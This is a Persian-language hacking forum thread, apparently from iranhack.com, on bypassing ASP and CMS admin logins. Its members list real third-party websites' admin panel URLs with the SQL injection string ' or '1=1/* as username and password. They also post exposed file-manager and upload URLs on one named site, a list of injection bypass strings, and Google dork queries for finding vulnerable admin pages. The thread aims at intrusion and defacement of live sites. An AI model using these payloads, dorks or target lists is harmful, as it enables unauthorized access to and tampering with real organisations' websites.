Bypass Asp Admin Page

[deface]

سلام خدمت دوستان عزیز ایران هک

این اولین پستم هست .

امروز میخام یه آموزش کوچیک بدم که میتونید هرچی مدیریت محتوای cmsadminهست به یه روش ساده بتونید نفوذ کنید


برای مثال :

SIte : http://www.tprfs.com

target : http://www.tprfs.com/cmsadmin/index.php

________________________
site : http://www.angelsolutionsltd.co.uk/

target : http://www.angelsolutionsltd.co.uk/cmsadmin

_______________


site :http://lagateau.co.uk
target : http://lagateau.co.uk

user : ' or '1=1/*@yahoo.com

pass : ' or '1=1/*@yahoo.com

[bl4ck.king]

RE: BY pass admin |

اینا رو هم داشته باشید به درد میخوره

http://www.angelsolutionsltd.co.uk/cmsadmin/tiny_mce/plugins/filemanager/frameset.php?a=b&js=mcFileManager.insertFileToForm &url=/cmsadmin/tiny_mce/plugins/filemanager/Select%20file&initial_path=mce_clear&initial_rootp ath=mce_clear&remember=true


http://www.angelsolutionsltd.co.uk/cmsadmin/tiny_mce/plugins/tinybrowser/upload.php?type=image

زیاد روش کار نکردم
خودتون ادامه بدید بقیش رو....

[hooman]

RE: BY pass admin |

خیلی عالی بود درمورد جوملا، وردپرس و cpanel از چه کدی استفاده کنیم

[0R2x]

RE: BY pass admin |

خیلی عالی بود درمورد جوملا، وردپرس و cpanel از چه کدی استفاده کنیم

با تشکر از دوست عزیزمون بخاطر این مطلب مفید. .

بایستی عرض کنم در مدیریت محتوا های همچون وردپرس،جوملا،مای بی بی و . . . این روش

user : ' or '1=1/*@yahoo.com

pass : ' or '1=1/*@yahoo.com

به هیچ وجه جواب گو نخواهد بود اکثر این روش ها در سیستم های که به زبان ای اس پی می باشد جواب گو می باشد بود . و به صورت اندک در پی اچ پی

موفق و سربلند باشید . .

[hooman]

RE: BY pass admin |

ممنون مثل اینکه رو ASP هم جواب نمیده
http://login.atplg.com/AtpLogin.aspx?msg=login&sitetype=cms&uri=http%3a%2 f%2fcmsadmin.atp.co.il%2fpanel.aspx
دوستان هر کی هر متد دیگه بلده بگه
با تشکر از deface که همچین بحث زیبایی شروع کرد http://iranhack.com/acc/images/smilies/Smileys/18.gif

[Mr.XpR]

BYPaSS ASP Adminpages

[align=left]

http://www.vehicles.com.pk/admin.asp

user : ' or '1=1/*

pass : ' or '1=1/*

-------------------------------------

http://www.lynton-exports.co.uk/admin.asp

user : ' or '1=1/*

pass : ' or '1=1/*

-------------------------------------

http://www.southern-suzuki.com/admin/admin.asp

user : ' or '1=1/*

pass : ' or '1=1/*

-------------------------------------

http://asc.amerion.com.my/admin/index.asp

user : ' or '1=1/*

pass : ' or '1=1/*

-------------------------------------

http://www.normatech.it/admin.asp

user : ' or '1=1/*

pass : ' or '1=1/*

-------------------------------------

http://demo.webwiznewspad.com/admin.asp

user : ' or '1=1/*

pass : ' or '1=1/*

-------------------------------------

http://atlantadash.com/entrack/admin.asp

user : ' or '1=1/*

pass : ' or '1=1/*

-------------------------------------

http://www.cannondelivery.com/entrack/admin.asp

user : ' or '1=1/*

pass : ' or '1=1/*

-------------------------------------

http://www.redrosenetwork.com/admin.asp

user : ' or '1=1/*

pass : ' or '1=1/*

-------------------------------------

http://korucutech.com/entrack/admin.asp

user : ' or '1=1/*

pass : ' or '1=1/*

-------------------------------------

https://www.payschools.com/admin.asp


user : ' or '1=1/*@yahoo.com

pass : ' or '1=1/*

[/align]

[Mr.XpR]

RE: Bypass Asp Admin Page

کمی کاملتر :23:

[align=left]

'or''='
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
' or '1'='1
' or 'x'='x
') or ('x'='x
') or ('1'='1

[/align]

اینم دلو رودش :

"inurl:admin.asp"
"inurl:login/admin.asp"
"inurl:admin/login.asp"
"inurl:adminlogin.asp"
"inurl:adminhome.asp"
"inurl:admin_login.asp"
"inurl:administratorlogin.asp"
"inurl:login/administrator.asp"
"inurl:administrator_login.asp"

inurl:reserved.asp
inurl:/admin.asp"
inurl:/admin/login.asp
inurl:/admin/logon.asp
inurl:/admin_login.asp
inurl:/admin_logon.asp
inurl:/admin/adminlogin.asp
inurl:/admin/adminlogon.asp
inurl:/admin/admin_login.asp
inurl:/login.asp
inurl:/admin/admin.asp
inurl:/admin/admin_logon.asp
inurl:/administrator/admin.asp
inurl:/administrator/login.asp
inurl:/logon.asp
inurl:/adminlogin.asp
inurl:/adminlogon.asp
inurl:/administrator/logon.asp
inurl:root/login.asp

[Dr.Faramarz]

RE: Bypass Asp Admin Page

سلام دوستان عزیز وقت همگی بخیر خوب هستین ؟ 
عاقا من الان چند روز هستش اشکم در اومده به هر روشی که بگین ( عین همونایی که که داداش حسین دلو رودشو در اورده و همشو گذاشته ) عین اون هر کاری میکنم اصلا نمیتونم سایتی پیدا کنم که با این ' or '1=1/* لاگین بشه ! 
لطفا راهنمایی کنید . مرسی 
 

[Mr.X2]

RE: Bypass Asp Admin Page

درود  سرچ  کنی هنوزم  پیدا  میشه داداش 
اینم   یک  فیلم  همین  الان  یهویی [img]images/smilies/Smileys/24.gif[/img][img]images/smilies/Smileys/24.gif[/img]

http://up.iranhack.com/uploads/ww0iiwjf4czmhctra5x.rar

چندتا  سایت  معرفی میکنم  دنبال باشی  هست  هنو 
یادور بشم  فیلم  من  
Asp  نیست اما  میشه  پیدا  کرد  هنو  

http://www.exploit4arab.net/home
http://cxsecurity.com/

یک  چندتا  سایت  هست  الان یادم  نمیاد  [img]images/smilies/Smileys/132.gif[/img]